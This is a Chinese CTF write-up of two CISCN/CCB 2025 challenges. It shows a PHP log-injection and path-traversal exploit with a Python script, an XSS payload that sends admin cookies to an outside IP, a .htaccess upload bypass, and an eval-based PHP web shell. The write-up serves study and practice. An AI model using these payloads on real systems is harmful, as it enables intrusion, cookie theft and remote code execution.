CCBCISCN复盘

news2025/3/22 18:52:01

AWDP – ccfrum

自己搭了一下环境, 复现一下这道题目, 之前比赛的时候完全没想到这个漏洞要怎么打, 修也不知道要怎么修, 就仅仅是对用户名的账号和密码进行了一下过滤, 完全没起到作用, 唉, 实在太菜
如果想要尝试复现的话可以尝试拉取这个镜像, 我打完之后就直接把这个容器给制作了一下镜像保存了一下, 但我自己并没有去拉取下来看看是否可行, 不过应该是没问题的吧, 毕竟我是复现完把日志删了之后直接就保存下来的
docker pull registry.cn-hangzhou.aliyuncs.com/pwfortune/ccb_ciscn:ccforum

Seay扫描一下源码

主要关注config.php和admin.php存在 file_get_contents()file_put_contents()函数

在这里插入图片描述

那么最终可以预想就是想办法利用file_get_contents() 任意读文件

通过审计代码

admin.php

$action_log_path = '/var/www/action.log';
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);

会读取日志文件, 以换行符分割每一行

foreach ($log_lines as $line) {
    if (empty($line)) {
        continue;
    }

    $parts = explode(',', $line);
    if (count($parts) < 5) {
        continue;
    }

    $encoded_user = $parts[1];
    $action = $parts[2];
    $success = (int) $parts[3];
    $additional_info = $parts[4];

    if ($action === 'record_banned') {
        if ($success === 1) {
            $banned_users[$encoded_user][] = $additional_info;
        } else {
            $failed_logs[] = $additional_info;
        }
    }
}
$banned_contents = [];
var_dump($banned_users);
foreach ($banned_users as $encoded_user => $logs) {
    $banned_dir = "/var/www/banned/{$encoded_user}";

    if (file_exists($banned_dir)) {
        $files = scandir($banned_dir);
        // var_dump($files);
        foreach ($files as $file) {
            if ($file !== '.' && $file !== '..') {
                $file_path = $banned_dir . '/' . $file;
                $content = file_get_contents($file_path);
                $banned_contents[$username][] = $content;
            }
        }
    }
}

如果actionrecord_banned, $success == 1
那么就会遍历编码后的用户名下的所有文件, 将他们读取出来显示

<?php foreach ($contents as $content): ?>
	<pre><?php echo htmlspecialchars($content); ?></pre>
<?php endforeach; ?>

所以想要构造的一个payload就是

,../../../,record_banned,1,

但是这里没有什么可控的变量, 还需要通过日志文件来利用

function log_action($username, $action, $succ, $additional = '')
{
    $log_id = uniqid();
    $e_username = encode_uname($username);
    $log_line = sprintf(
        "%s,%s,%s,%d,%s\n",
        $log_id,
        $e_username,
        $action,
        $succ,
        $additional
    );

    file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}

写入日志文件的内容有

  • $log_id: uniqid() 不可控
  • $e_username = encode_uname($username); base64编码后的用户名, 不好控制为 ../进行目录穿越
  • $action, 相要利用必须为record_banned, 不可控
  • $succ 相要利用必须1, 也是不可控
  • $additional, 默认为空, 也没啥限制, 所以就需要想办法控制这个变量

再查找有哪里调用了log_action这个函数

function record_banned($username, $banned)
{
    $e_username = encode_uname($username);
    $banned_dir = "/var/www/banned/{$e_username}";
    $created = true;
    if (!file_exists($banned_dir)) {
        $created = mkdir($banned_dir, 0750);
    }
    $log = "";
    $succ = 1;
    if (!$created) {
        $succ = 0;
        $log = "Failed to create record directory for " . $username;
    } else {
        $filename = $banned_dir . '/' . time() . '.txt';
        if (!file_put_contents($filename, $banned)) {
            $succ = 0;
            $log = "Failed to record banned content";
        }
    }
    log_action($username, 'record_banned', $succ, $log);
}

可控的是变量$additional这里传参的是$log
它的值有三种

  • $log = "";
  • $log = "Failed to create record directory for " . $username;
  • $log = "Failed to record banned content";

唯一能够想办法控制的就是$username

要想办法达到这个条件就需要无法创建成功目录

$created = mkdir($banned_dir, 0750);

mkdir在创建目录的时候无法创建多重目录

也就是创建的目录名不能带有 / 那么就需要让base64编码后的用户名带上/就无法创建成功了

前面也已经知道读取的日志文件会以\n分割来生成每一行

$log_lines = explode("\n", $action_log);

而且也会遍历每一行, 以,分割每一部分, 取第二部分, 遍历该目录下的文件, 读取出来

foreach ($log_lines as $line)
$parts = explode(',', $line);
    if (count($parts) < 5) {
        continue;
    }
$encoded_user = $parts[1];
if ($action === 'record_banned') {
        if ($success === 1) {
            $banned_users[$encoded_user][] = $additional_info;
        } 
$banned_dir = "/var/www/banned/{$encoded_user}";
$files = scandir($banned_dir);
$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);

所以这里的用户名就是

???%0a,../../../,record_banned,1,

在这里插入图片描述

在这里就已经可以知道需要注册这样一个用户名了

还需要找到在哪里可以调用record_banned方法

post.php里面

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $title = $_POST['title'] ?? '';
    $content = $_POST['content'] ?? '';
    $username = $_SESSION['username'];

    if (has_sensitive_words($title) || has_sensitive_words($content)) {
        record_banned($username, $title . "|" . $content);
        die("Post contains sensitive words");
    }

需要让has_sensitive_words返回true

function has_sensitive_words($content)
{
    $SENSITIVE_WORDS = ['敏感词', 'SENSITIVE WORDS',];
    foreach ($SENSITIVE_WORDS as $word) {
        if (stripos($content, $word) !== false) {
            return true;
        }
    }
    return false;
}

也就是说title或者content其中有一个存在敏感词或者 SENSITIVE WORDS 就可以满足条件

到这里所有的前提条件都已经知道了, 就可以开始构造payload了

步骤

  1. 先注册账户, 构造特定的用户名
  2. 用特定的用户名登录, 到post.php路由发送相应的信息
  3. 再以管理员的账号密码登录, 进入到admin.php, 即可查看到flag

管理员的账号密码可以爆破得出 admin / password

可以看得到日志里面已经写入的,../../../,record_banned,1,

在这里插入图片描述

通过管理员用户访问admin.php下可以看到读取的文件

在这里插入图片描述

from requests import Session

basic = "http://ip:9090/"
data = {"username": "???\n,../../../,record_banned,1,","password": "111111111111",}

def register(sess: Session):
    resp = sess.post(basic + "/register.php", data=data)


def login(sess: Session):
    resp = sess.post(basic + "/login.php", data=data)

def post(sess: Session):
    data1 = {
        "title": "敏感词",
        "content": "tset",
    }
    resp = sess.post(basic + "/post.php", data=data1)


if __name__ == "__main__":
    sess = Session()
    register(sess)
    login(sess)
    post(sess)

所以这道题目的修复方法可以将 编码的函数改成md5加密, 就无法阻止mkdir创建目录失败, 也就无法利用可控参数username

function encode_uname($username)
{
    return base64_encode($username);
}

参考文章

https://jbnrz.com.cn/index.php/2025/03/16/2025-ciscn-x-ccb-semi/

https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247487308&idx=1&sn=58ded47969223626e9937b5ccf93d3a8&chksm=cef98a3b1b7ee9a0deeb2746fb95e0bd6fb6e0d7adf55a9902ee121c3e7533efcde91d9498fc&mpshare=1&scene=23&srcid=0318w22pdH0PdB7Tj2Cbw5B0&sharer_shareinfo=a714674b8023b181d0876977bde50035&sharer_shareinfo_first=a714674b8023b181d0876977bde50035#rd

ISW – CCB2025

考点: xss+文件上传

一天的比赛 ,就这一个成果, 唉

dirsearch 扫描

[14:03:24] 403 -  278B  - /.ht_wsr.txt
[14:03:24] 403 -  278B  - /.htaccess.bak1
[14:03:24] 403 -  278B  - /.htaccess.save
[14:03:24] 403 -  278B  - /.htaccess.orig
[14:03:24] 403 -  278B  - /.htaccess.sample
[14:03:24] 403 -  278B  - /.htaccess_extra
[14:03:24] 403 -  278B  - /.htaccess_orig
[14:03:24] 403 -  278B  - /.htaccess_sc
[14:03:24] 403 -  278B  - /.htaccessOLD2
[14:03:24] 403 -  278B  - /.htaccessOLD
[14:03:24] 403 -  278B  - /.htaccessBAK
[14:03:24] 403 -  278B  - /.html
[14:03:24] 403 -  278B  - /.htm
[14:03:24] 403 -  278B  - /.htpasswd_test
[14:03:24] 403 -  278B  - /.htpasswds
[14:03:24] 403 -  278B  - /.httr-oauth
[14:03:25] 403 -  278B  - /.php
[14:03:35] 302 -    0B  - /dashboard.php  ->  login.html
[14:03:37] 200 -  484B  - /feedback.html
[14:03:39] 301 -  312B  - /img  ->  http://172.18.114.20/img/
[14:03:43] 200 -  524B  - /login.html
[14:03:44] 302 -    0B  - /logout.php  ->  login.html
[14:03:56] 403 -  278B  - /server-status
[14:03:56] 403 -  278B  - /server-status/
[14:03:57] 301 -  312B  - /src  ->  http://172.18.114.20/src/
[14:03:57] 200 -  473B  - /src/
[14:04:00] 200 -   16KB - /users.log

/feedback.html

可以提交一些信息, 猜测是xss

<script>window.location.href='http://192.168.114.251:7777/?cookie='+document.cookie</script>

在这里插入图片描述

可以拿到admin的cookie

拿admin的cookie的作用主要就是为了拿到上传的文件的路径

然后继续之前提交信息处可以上传图片, 文件上传绕过

上传 .htaccess

<FilesMatch "1.jpg">  
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传1.jpg

<?php eval("$_POST[1]")?>

在这里插入图片描述后面一个多小时一直在尝试内网渗透方面, 可惜缺乏经验, 太菜了, 没有收获

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2319731.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

糊涂人寄信——递推

思路分析&#xff1a;当有n封信&#xff0c;n个信封时。第k封信没有装在第k个信封里&#xff08;k从1~n&#xff09;&#xff0c;就算所有的信封都装错了。我们可以得知的是&#xff0c;当有1封信,时&#xff0c;装错类别数为0。当有两封信时&#xff0c;装错类别为1。 当有三…

使用 OpenCV 拼接进行图像处理对比:以形态学操作为例

图像处理在计算机视觉中起着至关重要的作用&#xff0c;而 OpenCV 作为一个强大的图像处理库&#xff0c;提供了丰富的函数来实现各类图像处理任务。形态学操作&#xff08;Morphological Operations&#xff09;是其中常用的技术&#xff0c;尤其适用于二值图像的处理。常见的…

OpenHarmony 入门——ArkUI 跨页面数据同步和页面级UI状态存储LocalStorage小结(二)

文章大纲 引言一、在代码逻辑使用LocalStorage二、从UI内部使用LocalStorage三、LocalStorageProp和LocalStorage单向同步四、LocalStorageLink和LocalStorage双向同步五、兄弟组件之间同步状态变量七、将LocalStorage实例从UIAbility共享到一个或多个视图 引言 前面一篇文章主…

Python数据可视化实战:从基础图表到高级分析

Python数据可视化实战&#xff1a;从基础图表到高级分析 数据可视化是数据分析的重要环节&#xff0c;通过直观的图表可以快速洞察数据规律。本文将通过5个实际案例&#xff0c;手把手教你使用Python的Matplotlib库完成各类数据可视化任务&#xff0c;涵盖条形图、堆积面积图、…

在 Elasticsearch 中扩展后期交互模型 - 第 2 部分 - 8.18

作者&#xff1a;来自 Elastic Peter Straer 及 Benjamin Trent 本文探讨了如何优化后期交互向量&#xff0c;以适应大规模生产工作负载&#xff0c;例如减少磁盘空间占用和提高计算效率。 在之前关于 ColPali 的博客中&#xff0c;我们探讨了如何使用 Elasticsearch 创建视觉搜…

蓝桥每日打卡--区间移位

#蓝桥#JAVA#区间移位 题目描述 数轴上有n个闭区间&#xff1a;D1,⋯Dn。 其中区间Di用一对整数[ai,bi]来描述&#xff0c;满足 ai≤bi。 已知这些区间的长度之和至少有。 所以&#xff0c;通过适当的移动这些区间&#xff0c;你总可以使得他们的"并"覆盖 [0,],也…

CUDAOpenCV 基于Hessian矩阵计算特征值

文章目录 一、简介二、实现代码三、实现效果一、简介 基于之前的博客:CUDA&OpenCV Hessain矩阵计算,我们可以计算出每个像素的特征值: 二、实现代码 ComputeHessainMatrix.cuh #ifndef HESSAIN_GPU_CUH #

基于CAMEL 的Workforce 实现多智能体协同工作系统

文章目录 一、workforce 简介1.架构设计2.通信机制 二、workforce 工作流程图示例1.用户角色2.工作流程 三、workforce 中重要函数说明1.__init__函数2.add_single_agent_worker 函数3.add_role_playing_worker 函数4.add_workforce 函数 四、基于workforce实现多智能体协调&am…

PostgreSQL_数据表结构设计并创建

目录 前置&#xff1a; 1 数据表设计思路 2 数据表格SQL 3 创建 3.1 创建数据库 db_stock 3.2 在 pgAdmin4 中创建表 前置&#xff1a; 本博文是一个系列。在本人“数据库专栏”-》“PostgreSQL_”开头的博文 1 数据表设计思路 1 日数据来自优矿&#xff0c;优矿的数据…

如何在MCU工程中启用HardFault硬错误中断

文章目录 一、HardFault出现场景二、启动HardFault三、C代码示例 一、HardFault出现场景 HardFault&#xff08;硬故障&#xff09; 错误中断是 ARM Cortex-M 系列微控制器中一个较为严重的错误中断&#xff0c;一旦触发&#xff0c;表明系统遇到了无法由其他异常处理机制解决…

MySQL -- 复合查询

数据库的查询是数据库使用中比较重要的环节&#xff0c;前面的基础查询比较简单&#xff0c;不做介绍&#xff0c;可自行查阅。本文主要介绍复合查询&#xff0c;并结合用例进行讲解。 本文的用例依据Soctt模式的经典测试表&#xff0c;可以自行下载&#xff0c;也可以自己创建…

卷积神经网络 - 卷积层(具体例子)

为了更一步学习卷积神经网络之卷积层&#xff0c;本文我们来通过几个个例子来加深理解。 一、灰度图像和彩色图像的关于特征映射的例子 下面我们通过2个例子来形象说明卷积层中“特征映射”的概念&#xff0c;一个针对灰度图像&#xff0c;一个针对彩色图像。 例子 1&#x…

测试Claude3.7 sonnet画蛋白质

测试Claude3.7 sonnet画蛋白虽然画的很粗糙&#xff0c;但是大致画了出来

java项目之基于ssm的游戏攻略网站(源码+文档)

项目简介 游戏攻略网站实现了以下功能&#xff1a; 管理员主要负责填充图书和其类别信息&#xff0c;并对已填充的数据进行维护&#xff0c;包括修改与删除&#xff0c;管理员也需要审核老师注册信息&#xff0c;发布公告信息&#xff0c;管理自助租房信息等。 &#x1f495;…

本地基于Ollama部署的DeepSeek详细接口文档说明

前文&#xff0c;我们已经在本地基于Ollama部署好了DeepSeek大模型&#xff0c;并且已经告知过如何查看本地的API。为了避免网络安全问题&#xff0c;我们希望已经在本地调优的模型&#xff0c;能够嵌入到在本地的其他应用程序中&#xff0c;发挥本地DeepSeek的作用。因此需要知…

python NameError报错之导库报错

在日常代码编写中&#xff0c;经常出现如 图1 一样的报错&#xff0c;在代码多时很难找到问题&#xff0c;但翻看代码后就会发现是因为未导库&#xff0c; 图1 报错 代码: time.sleep(0.1) print("time库") 解决方法: 第一步:在代码中添加导库代码 import time #…

Web3网络生态中数据保护合规性分析

Web3网络生态中数据保护合规性分析 在这个信息爆炸的时代&#xff0c;Web3网络生态以其独特的去中心化特性&#xff0c;逐渐成为数据交互和价值转移的新平台。Web3&#xff0c;也被称为去中心化互联网&#xff0c;其核心理念是将数据的控制权归还给用户&#xff0c;实现数据的…

C++ 语法之数组指针

一维数组&#xff1a; 如果我们定义了一个一维数组&#xff0c;那么这个数组名&#xff0c;就是指向第一个数组元素的地址&#xff0c;也即&#xff0c;是整个数组分配的内存空间的首地址。 比如 int a[3]; 定义了一个包含三个元素的数组。因为一个int占4个字节&#xff0c;那…

PLY格式文件如何转换成3DTiles格式——使用GISBox软件实现高效转换

一、概述 在三维GIS和数字孪生领域&#xff0c;3DTiles格式已成为主流的数据格式之一。它由Cesium团队提出&#xff0c;专为大规模3D数据可视化设计&#xff0c;能够高效地加载和展示海量模型数据。而PLY格式则是一种常见的三维模型文件格式&#xff0c;主要用于存储点云数据或…

Java定时任务的三重境界:从单机心跳到分布式协调

《Java定时任务的三重境界&#xff1a;从单机心跳到分布式协调》 本文将以生产级代码标准&#xff0c;揭秘Java定时任务从基础API到分布式调度的6种实现范式&#xff0c;深入剖析ScheduledThreadPoolExecutor与Quartz Scheduler的线程模型差异&#xff0c;并给出各方案的性能压…